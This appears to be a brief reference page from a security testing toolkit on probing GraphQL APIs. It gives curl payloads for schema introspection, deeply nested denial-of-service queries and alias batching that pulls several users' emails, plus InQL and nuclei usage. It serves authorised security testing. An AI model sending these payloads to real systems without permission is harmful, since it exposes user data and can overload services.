<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Testing GraphQL Security

## curl — Introspection
```bash
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name}}}}"}'
```

## curl — Depth and Batching Attacks
```bash
# Deep nested query
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{a{b{c{d{e{name}}}}}}"}'

# Alias batching
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{a:user(id:1){email} b:user(id:2){email}}"}'
```

## InQL — Burp Suite Extension
```
1. Load InQL in Burp > Extender
2. Point at GraphQL endpoint
3. Generates queries for every type and mutation
4. Scanner tab identifies security issues
```

## nuclei — GraphQL Templates
```bash
nuclei -u https://target.com/graphql -t http/exposed-panels/graphql.yaml -json
```
